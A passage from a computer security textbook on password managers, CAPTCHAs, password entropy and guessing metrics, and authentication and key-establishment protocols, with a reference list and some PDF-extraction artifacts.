unavailable or malfunctions, any password recovery mechanisms in place through a web
site may allow recovery of (some of) the managed passwords. However, typically no such
recovery service is available for the master password itself, nor any managed passwords
used for password-derived keys for stand-alone applications, e.g., local file/disk encryp-
tion. If access to such a password is lost, you should expect the locally encrypted files to
be (catastrophically) unrecoverable.
C OMPATIBILITY WITH EXISTING PASSWORD SERVERS . An advantage of pass-
word wallets for managing existing passwords is that they introduce no server incompat-
ibilities and thus can be deployed without any server-side changes or cooperation. In the
case of generating new (random) passwords, both password wallet managers and derived-
password managers must satisfy server-defined password composition policies—and au-
tomatically generated passwords will not always satisfy policies on the first try. Thus
derived-password managers cannot regenerate site passwords on the fly from master pass-
words alone; they may still need to store, for each user, site-specific information beyond
standard salts, as a type of additional salt to satisfy site-specific policies. As another
compatibility issue, some sites disallow auto-filled passwords.
Exercise (Analysis and user study of password managers). For each of (i) PwdHash,
and (ii) Password Multiplier, answer the following: (a) Explain the technical design of this
manager tool, and which manager approach it uses. (b) Summarize the tool’s strengths
and weaknesses related to each of: security, usability, deployability. In particular for
usability, describe how users invoke the tool to protect individual site passwords, and for
any automated actions, how users are signaled that the tool is operating. (c) Describe
how the tool performs on these standard password management tasks: day-to-day account
login, password update, login from a new device, and migration of existing passwords to
those compatible with the manager tool. (Hint: [15].)
G RAPHICAL PASSWORDS : OVERVIEW. Like password managers, graphical pass-
word schemes aim to ease the burden of too many passwords, here by schemes that depend
in some way on pictures or patterns. Like regular passwords, a graphical password is en-
coded to a string that the system can verify. The idea is that because human memory is
better for pictures, graphical passwords might impose a lighter memory burden than text
passwords; and security might also be increased, if this allows users to choose harder-to-
guess passwords. Another motivation is to improve input usability on mobile phones and
touchscreen devices, where typing is less convenient than on desktop machines.
3.7. ‡CAPTCHAs (humans-in-the-loop) vs. automated attacks 79
or Automated Turing Test (ATT). These are often based on character recognition (CR),
audio recognition (AUD), image recognition (IR), or cognitive challenges involving puz-
zles/games (COG). Below we see how CAPTCHAs can stop automated online guessing.
As noted earlier, to mitigate online guessing attacks, a server may rate-limit the num-
ber of online login attempts. However, if account “lock-out” results, this inconveniences
the legitimate users of attacked accounts. A specific attacker goal might even be, e.g.,
to lock out a user they are competing with precisely at the deadline of an online auction.
A defensive alternative is to make each login guess “more expensive”, by requiring that
a correct ATT response accompany each submitted password—but this inconveniences
legitimate users. The cleverly designed protocol outlined next does better.
P INKAS -S ANDER LOGIN PROTOCOL . The protocol of Fig. 3.8 imposes an ATT
on only a fraction p of login attempts (and always when the correct password is entered
but the device used is unrecognized). It assumes legitimate users typically log in from a
small set of devices recognizable by the server (e.g., by setting browser cookies or device
fingerprinting), and that any online dictionary attack is mounted from other devices. De-
vice recognition is initialized once a user logs in successfully. Thereafter the legitimate
user faces an ATT only when either logging in from a new device, or on a fraction p of
occurrences upon entering an incorrect password.
T WO TECHNICAL DETAILS . In Fig. 3.8, note that requiring an ATT only upon entry
of the correct password would directly signal correct guesses. Following an adjunct to
principle P3 (OPEN - DESIGN), the protocol refrains from disclosing such free information
to an attacker’s benefit. Also, whether to require an ATT for a given password candidate
must be a deterministic function of the submitted data, otherwise an attack program could
quit any login attempt triggering an ATT, and retry the same userid-password pair to see
whether an ATT is again required or if a “login fails” indication results.
To an attacker—expected to make many incorrect guesses—imposing an ATT on even
a small fraction of these (e.g., 5%) is still a large cost. The attacker, assumed to be
submitting guesses from an unrecognized machine, must always “pay” with an ATT on
submitting a correct guess, and must similarly pay a fraction p of the time for incorrect
guesses. But since the information available does not reveal (before answering the ATT)
whether the guess is correct, abandoning an ATT risks abandoning a correct guess.
Exercise (Pinkas-Sander password protocol analysis). This protocol (Fig. 3.8) can be
analyzed under two attack models: (i) an automated program switches over to a human at-
tacker to answer ATTs; (ii) the program makes random guesses as ATT answers, assuming
an ATT answer space of n elements (so an ATT guess is correct with probability 1 in n). To
simplify analysis, assume a space of S equiprobable passwords. (a) Under model (i), for
an optimal attacker, determine the expected number of ATTs answered before successfully
guessing a password; express your answer as a function of p and S, and assume an attack
on a single account. (b) Under model (ii), determine the expected number of password
guesses needed before success, as a function of p, S and n. (Hint: [51].)
CAPTCHA FUTURES . For several reasons, the ongoing value of CAPTCHA s in secu-
rity is unclear. For many types of CAPTCHAs, automated solvers are now so good that
CAPTCHA instances sufficiently difficult to resist them are beyond the annoyance and
complexity level acceptable for legitimate users—so these CAPTCHAs cease to be useful
Turing Tests. The efficacy of CR CAPTCHA solvers in particular has resulted in more IR
CAPTCHA s. Another attack on CAPTCHA s is to maliciously outsource them by redirection
to unsuspecting users. Similarly, the core idea of distinguishing humans from bots is de-
feated by redirecting CAPTCHAs to willing human labour pools—“sweat shops” of cheap
human solvers, and Amazon Mechanical Turkers.
Example (Google reCAPTCHA). In 2014, the Google reCAPTCHA project replaced
CAPTCHA s with checkboxes for users to click on, labeled “I’m not a robot”. A human-
or-bot decision is then made from analysis of browser-measurable elements (e.g., key-
board and mouse actions, click locations, scrolling, inter-event timings). If such first-level
checks are inconclusive, a CR or IR CAPTCHA is then sent. In 2017 even such checkboxes
were removed; the apparent trend is to replace actions triggered by requesting clicking
of a checkbox by pre-existing measurable human actions or other recognition means not
requiring new explicit user actions.
explain further, using password distributions both for concreteness and relevance.
S HANNON ENTROPY. Let qi > 0 be the probability of event xi from an event space
X of n possible events (1 ≤ i ≤ n, and ∑ qi = 1). In our exposition, xi = Pi will be a user-
chosen password from a space of n allowable passwords, with the set of passwords chosen
by a system’s m users considered an experimental outcome (e.g., consider the passwords
being drawn from a known distribution). In math-speak, a random variable X takes value
DX
xi = Pi with probability qi , according to a probability distribution DX . We write X ←− X
and DX : qi → xi . DX models the probability of users choosing specific passwords, e.g., as
might be derived from an unimaginably large number of real-world iterations. Now the
Shannon entropy of this discrete distribution is defined as:10
n n
H(X) = H(q1 , q2 , ..., qn ) = ∑ qi · lg(1/qi ) = − ∑ qi · lg(qi ) (3.5)
i=1 i=1
(Note that only the probabilities qi are important, not the events themselves.) Here the
units are bits of entropy, lg denotes a base-2 logarithm, and by convention 0 · lg(0) = 0 to
address lg(0) being undefined. H(X) measures the average uncertainty of X. H(X) turns
out to be the minimum number of bits needed (on average, across the probability distri-
bution) to convey values X = xi , and the average wordlength of a minimum-wordlength
code for values of X.
I NTERPRETATION OF ENTROPY. To help understand the definition of H(X), for
each outcome xi define I(xi ) = −lg(qi ) as the amount of information conveyed by the
event {X = xi }. It follows that the less probable an outcome, the more information its
observation conveys; observing a rare event conveys more than a common event, and
observing an event of probability 1 conveys no information. The average (expected value)
of the random variable I is then H(X) = EX (IX ) = EX (−lg(qi )). Viewing qi as a weight
on lg(qi ), H(X) is now seen to be the expected value of the log of the probabilities.
E NTROPY PROPERTIES . The following hold for H(X) with event space of size n:
1. H(X) ≥ 0. The minimum 0 occurs only when there is no uncertainty at all in the
outcome, i.e., when qi = 1 for some i (forcing all other q j to 0).
2. H(X) ≤ lg(n). The maximum occurs only when all qi = n1 (all events equiproba-
ble). Then H(X) = ∑ni=1 1/n · lg(n) = lg(n). Thus a uniform (“flat”) distribution max-
imizes entropy (gives greatest uncertainty), e.g., randomly chosen cryptographic keys
(whereas user-chosen passwords have highly skewed distributions).
10 Here in Section 3.8, following tradition, H denotes the Shannon entropy function (not a hash function).
3.8. ‡Entropy, passwords, and partial-guessing metrics 83
3. Changes towards equalizing the qi increase H(X). For q1 < q2 , if we increase q1 and
decrease q2 by an equal amount (diminishing their difference), H(X) rises.
Example (Entropy, rolling a die). Let X be a random variable taking values from
rolling a fair eight-sided die. Outcomes X = {1, 2, 3, 4, 5, 6, 7, 8} all have qi = 18 and
H(X) = lg(8) = 3 bits. For a fair six-sided die, qi = 16 and H(X) = lg(6) = 2.58 bits.
If the six-sided die instead has outcomes X = {1, 2, 3, 4, 5, 6} with resp. probabilities
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
2 , 4 , 8 , 16 , 32 , 32 , then H{ 2 , 4 , 8 , 16 , 32 , 32 } = 2 · 1 + 4 · 2 + 8 · 3 + 16 · 4 + 2( 32 · 5) =
1.9375 bits, which, as expected, is less than for the fair die with equiprobable outcomes.
Exercise (Entropy, rolling two dice). Let X be a random variable taking values as the
sum on rolling two fair six-sided dice. Find the entropy of X. (Answer: 3.27 bits.)
Example (binary entropy function). Consider a universe of n = 2 events and corre-
sponding entropy function H = −(p · lg(p) + q · lg(q)), where q = 1 − p. A 2D graph
(Fig. 3.9) with p along x-axis [0.0, 1.0] and H in bits along y axis [0.0, 1.0] illustrates that
H = 0 if and only if one event has probability 1, and that H is maximum when qi = n1 .
This of course agrees with the above-noted properties. (Source: [55] or [42, Fig.1.1].)
S INGLE MOST- PROBABLE EVENT. Which single password has highest probability
is a question worth studying. If an attacker is given exactly one guess, the optimal strategy
is to guess the most-probable password based on available statistics. A company might an-
alyze its password database to find the percentage of users using this password, to measure
maximum expected vulnerability to a single-guess attack by an “optimal attacker” know-
ing the probability distribution. The expected probability of success is q1 = maxi (qi ); this
assumes the target account is randomly selected among system accounts. A formal mea-
sure of this probability of the most likely single event is given by the min-entropy formula:
H∞ (X) = lg(1/q1 ) = −lg(q1 ) (3.6)
1
If qi = n for all i, then H∞ (X) = −lg( 1n ) = lg(n), matching Shannon entropy in this case.
1.0
0.8
0.6
0.4
0.2
Like H(X), G1 gives an expectation averaged over all events in X . Thus its measure is
relevant for an attack executing a full search to find all user passwords in a dataset—but
not one, e.g., quitting after finding a few easily guessed passwords. If qi = 1/n for all i,
n n
G1 (n equally probable events) = ∑ i · 1/n = (1/n) ∑ i = (n + 1)/2 (3.8)
i=1 i=1
since ∑ni=1 i = n(n + 1)/2. Thus in the special case that events are equiprobable, success
is expected after guessing about halfway through the event space; note this is not the case
for user-chosen passwords since their distributions are known to be heavily skewed.
Example (Guesswork skewed by outliers). As a guesswork example, consider a sys-
tem with m = 32 million ≈ 32 · 220 users, whose dataset R ⊂ X of m non-unique user
passwords has a subset S ⊂ R of 32 elements that are 128-bit random strings (on average
1 per 220 elements in R ) . Let U2128 denote the set of all 128-bit random strings. From
(3.8), G1 (U2128 ) > 2127 . Per individual password in S we thus expect to need at least 2127
guesses. How does this affect G1 overall? From (3.7) and averaging estimates,11 it follows
that G1 (R ) > 2127 · 2−20 = 2107 guesses independent of any passwords outside S . Thus
the guesswork component from difficult passwords swamps (obscures) any information
that G1 might convey about easily guessed passwords. (Motivation: [7, Ch.3].)
11 G ’s sum in (3.7) assigns, to each event in X , a guess-charge i weighted by a probability q , with optimal
1 i
order dictating qi ≥ qi+1 . For the 32 elements in S alone, we expect to need 25 · 2127 = 2132 guesses; but if
the average guess-charge for each of the sum’s first m terms were 2107 , the guesswork component for these
m < n terms would be m · 2107 = 2132 . All terms in the sum are non-negative. It follows that G1 (R ) > 2107 .
3.8. ‡Entropy, passwords, and partial-guessing metrics 85
This gives the number b of per-account guesses needed to find passwords for a proportion
p of accounts, or for one account to correctly guess its password with probability at least
p; or correspondingly, the number of words b in an optimal (smallest) dictionary to do so.
Example (Guess count). Choosing p = 0.20, (3.10) tells us how many per-account
guesses are expected to be needed to guess 20% of accounts (or break into one account,
drawn randomly from system accounts, with probability 0.20). For the previous example’s
scenario, this metric would return a guess count of b = 10, 000 (to achieve 20% success).
E XAMPLE USE OF METRICS . Partial-guessing metrics can be used to reason about
choices for password denylist size and rate-limiting. For example, equation (3.9) allows
comparison of the protection offered by denylists of b1 = 1, 000 entries vs. b2 = 10, 000.
If a system S rate-limits login attempts to b incorrect guesses (e.g., b = 10 or 25) over
time period T , then (3.9)’s probability indicates exposure to online guessing attacks over
T . If in addition S denylists the 10, 000 most popular passwords, then the qi used in (3.9)
for this second case should be for passwords beyond the denylist, i.e., starting at q10,001 .
[1] M. Abadi, T. M. A. Lomas, and R. Needham. Strengthening passwords. SRC Technical Note 1997-033,
DEC Systems Research Center, Palo Alto, CA, 1997. September 4 with minor revision December 16.
[2] L. Ballard, S. Kamara, F. Monrose, and M. K. Reiter. Towards practical biometric key generation with
randomized biometric templates. In ACM Comp. & Comm. Security (CCS), pages 235–244, 2008.
[3] L. Ballard, F. Monrose, and D. P. Lopresti. Biometric authentication revisited: Understanding the
impact of wolves in sheep’s clothing. In USENIX Security, 2006.
[4] R. Biddle, S. Chiasson, and P. C. van Oorschot. Graphical passwords: Learning from the first twelve
years. ACM Computing Surveys, 44(4):19:1–19:41, 2012.
[5] A. Biryukov, D. Dinu, and D. Khovratovich. Argon2: New generation of memory-hard functions for
password hashing and other applications. In IEEE Eur. Symp. Security & Privacy, pages 292–302,
2016.
[6] D. Boneh, H. Corrigan-Gibbs, and S. E. Schechter. Balloon hashing: A memory-hard function provid-
ing provable protection against sequential attacks. In ASIACRYPT, 2016.
[7] J. Bonneau. Guessing Human-Chosen Secrets. PhD thesis, University of Cambridge, U.K., 2012.
[8] J. Bonneau. The science of guessing: Analyzing an anonymized corpus of 70 million passwords. In
IEEE Symp. Security and Privacy, pages 538–552, 2012.
[9] J. Bonneau, E. Bursztein, I. Caron, R. Jackson, and M. Williamson. Secrets, lies, and account recovery:
Lessons from the use of personal knowledge questions at Google. In WWW—Int’l Conf. on World Wide
Web, pages 141–150, 2015.
[10] J. Bonneau, C. Herley, P. C. van Oorschot, and F. Stajano. The quest to replace passwords: A framework
for comparative evaluation of web authentication schemes. In IEEE Symp. Security and Privacy, pages
553–567, 2012.
[11] W. E. Burr, D. F. Dodson, E. M. Newton, R. A. Perlner, W. T. Polk, S. Gupta, and E. A. Nabbus. NIST
Special Pub 800-63-1: Electronic Authentication Guideline. U.S. Dept. of Commerce. Dec 2011 (121
pages), supersedes [12]; superseded by SP 800-63-2, Aug 2013 (123 pages), itself superseded by [29].
[12] W. E. Burr, D. F. Dodson, and W. T. Polk. NIST Special Pub 800-63: Electronic Authentication
Guideline. U.S. Dept. of Commerce. Ver. 1.0, Jun 2004 (53 pages), including Appendix A: Estimating
Password Entropy and Strength (8 pages). Superseded by [11].
[13] C. Cachin. Entropy Measures and Unconditional Security in Cryptography. PhD thesis, Swiss Federal
Institute of Technology Zurich, Switzerland, May 1997.
[14] S. Chiasson and P. C. van Oorschot. Quantifying the security advantage of password expiration policies.
Designs, Codes and Cryptography, 77(2-3):401–408, 2015.
[15] S. Chiasson, P. C. van Oorschot, and R. Biddle. A usability study and critique of two password man-
agers. In USENIX Security, 2006.
[16] J. Daugman. How iris recognition works. IEEE Trans. Circuits Syst. Video Techn., 14(1):21–30, 2004.
[17] X. de Carné de Carnavalet and M. Mannan. A large-scale evaluation of high-impact password strength
meters. ACM Trans. Inf. Systems and Security, 18(1):1:1–1:32, 2015.
88
References (Chapter 3) 89
[18] P. J. Denning, editor. Computers Under Attack: Intruders, Worms, and Viruses. Addison-Wesley, 1990.
Edited collection (classic papers, articles of historic or tutorial value).
[19] DoD. Password Management Guideline. Technical Report CSC-STD-002-85 (Green Book), U.S.
Department of Defense. 12 April 1985.
[20] M. Dürmuth and T. Kranz. On password guessing with GPUs and FPGAs. In PASSWORDS 2014,
pages 19–38.
[21] M. Egele, L. Bilge, E. Kirda, and C. Kruegel. CAPTCHA smuggling: hijacking web browsing sessions
to create CAPTCHA farms. In ACM Symp. Applied Computing (SAC), pages 1865–1870, 2010.
[22] M. W. Eichin and J. A. Rochlis. With microscope and tweezers: An analysis of the Internet virus of
November 1988. In IEEE Symp. Security and Privacy, pages 326–343, 1989.
[23] N. Ferguson and B. Schneier. Practical Cryptography. Wiley, 2003.
[24] D. Florêncio, C. Herley, and P. C. van Oorschot. An administrator’s guide to Internet password research.
In Large Installation Sys. Admin. Conf. (LISA), pages 35–52. USENIX, 2014.
[25] D. Florêncio, C. Herley, and P. C. van Oorschot. Password portfolios and the finite-effort user: Sustain-
ably managing large numbers of accounts. In USENIX Security, pages 575–590, 2014.
[26] S. L. Garfinkel and H. R. Lipford. Usable Security: History, Themes, and Challenges. Synthesis
Lectures (mini-book series). Morgan and Claypool, 2014.
[27] P. Garrett. The Mathematics of Coding Theory. Pearson Prentice Hall, 2004.
[28] N. Gelernter, S. Kalma, B. Magnezi, and H. Porcilan. The password reset MitM attack. In IEEE Symp.
Security and Privacy, pages 251–267, 2017.
[29] P. A. Grassi et al. NIST Special Pub 800-63-3: Digital Identity Guidelines. U.S. Dept. of Commerce.
Jun 2017, supersedes [11]. Additional parts SP 800-63A: Enrollment and Identity Proofing, SP 800-
63B: Authentication and Lifecycle Management, SP 800-63C: Federation and Assertions.
[30] N. Haller. The S/KEY One-Time Password System. In Netw. Dist. Sys. Security (NDSS), 1994.
[31] N. Haller and C. Metz. RFC 1938: A one-time password system, May 1996. Cf. RFC 1760 (Feb 1995).
[32] F. Hao, R. J. Anderson, and J. Daugman. Combining crypto with biometrics effectively. IEEE Trans.
Computers, 55(9):1081–1088, 2006.
[33] G. Hatzivasilis. Password-hashing status. Cryptography, 1(2):10:1–10:31, 2017.
[34] J. M. G. Hidalgo and G. Á. Marañón. CAPTCHAs: An artificial intelligence application to web security.
Advances in Computers, 83:109–181, 2011.
[35] A. K. Jain, A. Ross, and S. Pankanti. Biometrics: a tool for information security. IEEE Trans. Info.
Forensics and Security, 1(2):125–143, 2006.
[36] A. K. Jain, A. Ross, and S. Prabhakar. An introduction to biometric recognition. IEEE Trans. Circuits
Syst. Video Techn., 14(1):4–20, 2004.
[37] H. Khan, U. Hengartner, and D. Vogel. Targeted mimicry attacks on touch input based implicit authen-
tication schemes. In MobiSys 2016 (Mobile Systems, Applic. and Services), pages 387–398, 2016.
[38] R. K. Konoth, V. van der Veen, and H. Bos. How anywhere computing just killed your phone-based
two-factor authentication. In Financial Crypto, pages 405–421, 2016.
[39] J. Lang, A. Czeskis, D. Balfanz, M. Schilder, and S. Srinivas. Security Keys: Practical cryptographic
second factors for the modern web. In Financial Crypto, pages 422–440, 2016.
[40] U. Manber. A simple scheme to make passwords based on one-way functions much harder to crack.
Computers & Security, 15(2):171–176, 1996.
[41] T. Matsumoto, H. Matsumoto, K. Yamada, and S. Hoshino. Impact of artificial “gummy” fingers on
fingerprint systems. In Proc. SPIE 4677, Optical Security and Counterfeit Deterrence Techniques IV,
pages 275–289, 2002.
90 References (Chapter 3)
[42] R. J. McEliece. The Theory of Information and Coding. In G.-C. Rota, editor, Encyclopedia of Mathe-
matics and Its Applications, volume 3. Addison-Wesley, 1977.
[43] A. J. Menezes, P. C. van Oorschot, and S. A. Vanstone. Handbook of Applied Cryptography. CRC
Press, 1996. Openly available, https://cacr.uwaterloo.ca/hac/.
[44] C. E. Metz. Basic Principles of ROC Analysis. Seminars in Nuclear Medicine, 8(4):283–298, Oct. 1978.
See also: John Eng, “Receiver Operator Characteristic Analysis: A Primer”, Academic Radiology 12
(7):909–916, July 2005.
[45] F. Monrose, M. K. Reiter, and S. Wetzel. Password hardening based on keystroke dynamics. Int. J. Inf.
Sec., 1(2):69–83, 2002.
[46] M. Motoyama, K. Levchenko, C. Kanich, D. McCoy, G. M. Voelker, and S. Savage. Re:CAPTCHAs—
Understanding CAPTCHA-solving services in an economic context. In USENIX Security, 2010.
[47] J. A. Muir and P. C. van Oorschot. Internet geolocation: Evasion and counterevasion. ACM Computing
Surveys, 42(1):4:1–4:23, 2009.
[48] A. Narayanan and V. Shmatikov. Fast dictionary attacks on passwords using time-space tradeoff. In
ACM Comp. & Comm. Security (CCS), pages 364–372, 2005.
[49] NIST. FIPS 112: Password Usage. U.S. Dept. of Commerce, May 1985.
[50] P. Oechslin. Making a faster cryptanalytic time-memory trade-off. In CRYPTO, pages 617–630, 2003.
[51] B. Pinkas and T. Sander. Securing passwords against dictionary attacks. In ACM Comp. & Comm.
Security (CCS), pages 161–170, 2002.
[52] N. Provos and D. Mazières. A future-adaptable password scheme. In USENIX Annual Technical Conf.,
pages 81–91, 1999. FREENIX Track.
[53] J. A. Rochlis and M. W. Eichin. With microscope and tweezers: The Worm from MIT’s perspective.
Comm. ACM, 32(6):689–698, 1989. Reprinted as [18, Article 11]; see also more technical paper [22].
[54] A. D. Rubin. White-Hat Security Arsenal. Addison-Wesley, 2001.
[55] C. Shannon. A mathematical theory of communication. The Bell System Technical Journal, vol.27,
1948. Pages 379–423 (Jul) and 623–656 (Oct).
[56] E. H. Spafford. Crisis and aftermath. Comm. ACM, 32(6):678–687, 1989. Reprinted: [18, Article 12].
[57] B. Ur, S. M. Segreti, L. Bauer, N. Christin, L. F. Cranor, S. Komanduri, D. Kurilova, M. L. Mazurek,
W. Melicher, and R. Shay. Measuring real-world accuracies and biases in modeling password guess-
ability. In USENIX Security, pages 463–481, 2015.
[58] P. C. van Oorschot and S. G. Stubblebine. On countering online dictionary attacks with login histories
and humans-in-the-loop. ACM Trans. Inf. Systems and Security, 9(3):235–258, 2006.
[59] P. C. van Oorschot and J. Thorpe. On predictive models and user-drawn graphical passwords. ACM
Trans. Inf. Systems and Security, 10(4):1–33 (Article 17), 2008.
[60] M. Weir, S. Aggarwal, M. P. Collins, and H. Stern. Testing metrics for password creation policies by
attacking large sets of revealed passwords. In ACM Comp. & Comm. Security (CCS), 2010.
[61] D. L. Wheeler. zxcvbn: Low-budget password strength estimation. In USENIX Security, pages 157–
173, 2016.
[62] Y. Zhang, F. Monrose, and M. K. Reiter. The security of modern password expiration: an algorithmic
framework and empirical analysis. In ACM Comp. & Comm. Security (CCS), pages 176–186, 2010.
Computer Security and the Internet: Tools and Jewels (2e)
Chapter 4
Authentication Protocols and Key Establishment
Copyright
2020-2022
c Paul C. van Oorschot. Under publishing license to Springer.
92
4.1. Entity authentication and key establishment (context) 93
of the server’s legitimacy. This is called unilateral authentication, with one party authen-
ticating itself to another. In mutual authentication, each party proves its identity to the
other; this is largely unused in the standard web protocol (TLS), despite being supported.
Basic claimant-verifier authen2ca2on. The claimant is some2mes also called the prover. I both Alice and Bob prove their
If authentication of the browser (user) to the server is desired, this is commonly done by
iden2ty to the other party it is mutual authen2ca2on, otherwise it is unilateral authen2ca2on. W o?en denotes a
password-based authentication using an encrypted channel set up in conjunction with the
weak (password-based) secret, and S a strong crypto-strength secret.
unilateral authentication. Aside: when a credit card is used for a web purchase, the server
typically does not carry out authentication of the user per se, but rather seeks a valid credit
card number and expiry date (plus any other data mandated for credit approval).
S ESSION KEYS . Key establishment is some means by which two end-parties arrange
a shared secret—typically a symmetric key, i.e., a large random number or bitstring—
for use in securing subsequent communications such as client-server data transfer, or
voice/video communication between peers. Such keys used for short-term purposes, e.g.,
a communications session, are called session keys, or data keys (used for encrypting data,
rather than for managing other keys). Key establishment has two subcases, discussed next.
K EY TRANSPORT VS . KEY AGREEMENT. In key transport, one party unilaterally
chooses the symmetric key and transfers it to another. In key agreement, the shared key is
a function of values contributed by both parties. Both involve leveraging long-term key-
ing material (shared secrets, or trusted public keys) to establish, ideally, new ephemeral
keys (secrets that are unrecoverably destroyed when a session ends). Key agreement com-
monly uses variations of Diffie-Hellman (Section 4.3) authenticated by long-term keys.
If session keys are instead derived deterministically from long-term keys, or (e.g., RSA)
key transport is used under a fixed long-term key, then compromise of long-term keys
puts at risk all session keys (see forward secrecy, Section 4.4). Figure 4.2 relates types of
authentication and key establishment algorithms, and cryptographic technologies.
AUTHENTICATION - ONLY, UNAUTHENTICATED KEY ESTABLISHMENT. Some
protocols provide assurances of the identity of a far-end party, without establishing a
session key. Such authentication-only protocols—named to avoid confusion with authen-
ticated key establishment protocols—may be useful in restricted contexts. An example is
local authentication between your banking chip-card and the automated banking machine
you are standing in front of and just inserted that card into. But if authentication-only
occurs across a network at the beginning of a communications session, a risk is that the
94 Chapter 4. Authentication Protocols and Key Establishment
1a 1c 1b unilateral
Authen.ca.on-only mutual
2a 2c 2b
3a 3c 3b
Key transport authen.cated
4a 4c 4b
5a 5c 5b unauthen.cated
Key agreement
6a 6c 6b
Symmetric techniques
Hybrid protocols Public-key techniques
Figure 4.2: Authentication and key establishment protocol taxonomy. Hybrid protocols
combine symmetric-key and public-key techniques. Example protocols and categories:
basic Diffie-Hellman (5b), STS (6c), DH-EKE (6c), SPEKE (6b), and Kerberos (4a).
key is lost (just establish a new key and retransmit), but shared keys must be arranged
between sender and recipient, e.g., to transmit encrypted data.
R EUSING SESSION OR DATA KEYS . For various reasons it is poor cryptographic
hygiene to use permanent (static) session or data keys; to reuse the same such keys with
different parties; and to reuse session or data keys across different devices. Every place
a secret is used adds a possible exposure point. The greater the number of sessions or
devices that use a key, the more attractive a target it becomes. History also shows that
protocols invulnerable to attacks on single instances of key usage may become vulnerable
when keys are reused. Secrets have a tendency to “leak”, i.e., be stolen or become pub-
licly known. Secrets in volatile memory may dump to disk during a system crash, and a
system backup may then store the keys to a cloud server that is supposed to be isolated
but somehow isn’t. (Oops.) Implementation errors result in keys leaking from time to
time. (Oops.) For these and other reasons, it is important to have means to generate and
distribute new keys regularly, efficiently and conveniently.
I NITIAL KEYING MATERIAL . To enable authenticated key establishment, a regis-
tration phase is needed to associate or distribute initial keying material (public or secret)
with identified parties. This usually involves out-of-band methods, typically meaning:2
find some way to establish shared secrets, or transfer data with guaranteed authentic-
ity (integrity), either without using cryptography, or using independent cryptographic
mechanisms—and often by non-automated processes or manual means. For example,
we choose a password and “securely” share the password (or PIN) with our bank in per-
son, or the bank sends us a PIN by postal mail, or some existing non-public information is
confirmed by phone. User-registered passwords for web sites are sent over TLS encryp-
tion channels secured by the out-of-band means of the browser vendor having embedded
Certification Authority (CA) public keys into the browser software.
C RYPTO - STRENGTH KEYS , WEAK SECRETS . Ideally, symmetric keys for use in
crypto algorithms are generated by properly seeded cryptographic random number gen-
erators such that the keys are “totally random”—every possible secret key (bitstring) is
equally likely. Then, if the game is to search for a correct key, no strategy is better than an
exhaustive enumeration of the key space, i.e., of all possible values. For keys of t bits, an
attacker with a single guess has a 1 in 2t chance of success, and no strategy better than a
random guess. An attacker enumerating the full key space can on average expect a correct
guess after searching half the space, e.g., 2127 keys for t = 128. Choosing t large enough
makes such attacks infeasible. We call secrets chosen at random, and from a sufficiently
large space, crypto-strength keys or strong secrets. In contrast a key generated determin-
istically by hashing a user-chosen password is a weak secret. Sections 4.5 and 4.6 explore
weak secrets and how protocols can fail when they are used in place of strong secrets.
Exercise (Protecting long-term keys). How do we protect long-term secrets stored in
software? Discuss. Likewise consider short-term secrets (passwords and keys).
‡P OINT- TO - POINT MODEL WITH n2 KEY PAIRS . Each pair of parties should use a
unique symmetric key to secure communications. Given n communicating parties, this
2 Out-of-band methods are also discussed in Chapter 8.
96 Chapter 4. Authentication Protocols and Key Establishment
(a) Key distribu8on center (KDC) (b) Key transla8on center (KTC)
KAS , KBS KAS , KBS
Server Server
(1) Please (2) Here’s Alternate path (1) Please (2) Okay, Alternate path
create an one copy for to (3) for Bob’s encrypt here is a to (2)+(3)
Alice-Bob you, and session key this session copy only for Bob’s
key one for Bob key for B Bob can decrypt session key
3A specific example is the Kerberos system in Section 4.7, which includes important details omitted here.
4.2. Authentication protocols: concepts and mistakes 97
techniques, e.g., in-person exchanges, or use of couriers trusted to protect the confiden-
tiality of the keying material.
C HOICE OF SYMMETRIC - KEY OR PUBLIC - KEY METHODS . Either symmetric-
key or public-key approaches (Chapter 8), or their combination, can be used for entity
authentication and authenticated key establishment. As discussed next, in both cases, de-
signing security protocols resistant to creative attacks has proven to be quite challenging,
and provides an example of principle P9 (TIME - TESTED - TOOLS).
end-goals (as opposed to approaches) include: to impersonate another party (with or with-
out gaining access to a session key); to discover long-term keys or session keys, either
passively or by active protocol manipulation; and to mislead a party as to the identity of
the far-end party it is communicating with or sharing a key with.
T IME - VARIANT PARAMETERS . A few attacks in Table 4.1 rely on reusing messages
from previous or ongoing protocol runs. As a defense, time-variant parameters (TVPs)
provide protocol messages and/or session keys uniqueness or timeliness (freshness) prop-
erties, or cryptographically bind messages from a given protocol run to each other, and
thereby distinguish protocol runs. Three basic types of TVPs are as follows (each may
also be referred to as a nonce, or number used only once for a given purpose, with exact
properties required depending on the protocol).
1. random numbers: In challenge-response protocols, these are used to provide fresh-
ness guarantees, to chain protocol messages together, and for conveying evidence that
a far-end party has correctly computed a session key (key-use confirmation, Section
4.4). They also serve as confounders (Section 4.6) to stop certain types of attacks.
They are expected to be unpredictable, never intentionally reused by honest parties,
and sufficiently long that the probability of inadvertent reuse is negligible. If a party
generates a fresh random number, sends it to a communicating partner, and receives
a function of that number in a response, this gives assurance that the response was
generated after the current protocol run began (not from old runs).
2. sequence number: In some protocols, message uniqueness is the requirement, not
unpredictability. A sequence number or monotonic counter may then be used to effi-
ciently rule out message replay. A real-life analogue is a cheque number.
3. timestamps: Timestamps can give timeliness guarantees without the challenge part
of challenge-response, and help enforce constraints in time-bounded protocols. They
require synchronized clocks. An example of use is in Kerberos (Section 4.7).
100 Chapter 4. Authentication Protocols and Key Establishment
RSA ENCRYPTION USED FOR KEY TRANSPORT. Key agreement using public-key
methods is discussed in Section 4.3. Key transport by public-key methods is also common.
As an example using RSA encryption, one party may create a random symmetric key K,
and encrypt it using the intended recipient B’s encryption public key: A → B : EB (K). The
basic idea is thus simple. Some additional precautions are needed—for example use as
just written is vulnerable to a replay attack (to force reuse of an old key), and gives no
indication of who sent the key.
Example (RSA decryption used for entity authentication of B). Consider:
(1) A → B : H(rA ), A, EB (rA , A) ... EB (rA , A) is a public-key encrypted challenge
(2) A ← B : rA ... H(rA ) showed knowledge of rA , not rA itself
Here rA is a random number created by A; H is a one-way hash function. Receiving (1),
B decrypts to recover values rA∗ , A∗ ; hashes to get H(rA∗ ), and cross-checks this equals the
first field received in (1); and checks that A∗ matches the cleartext identifier received. On
receiving (2), A checks that the received value equals that sent in (1). The demonstrated
ability to do something requiring B’s private key (i.e., decryption) is taken as evidence of
communication with B. The association of B with the public key used in (1) is by means
outside of the protocol. If you find all these checks, their motivations, and implications to
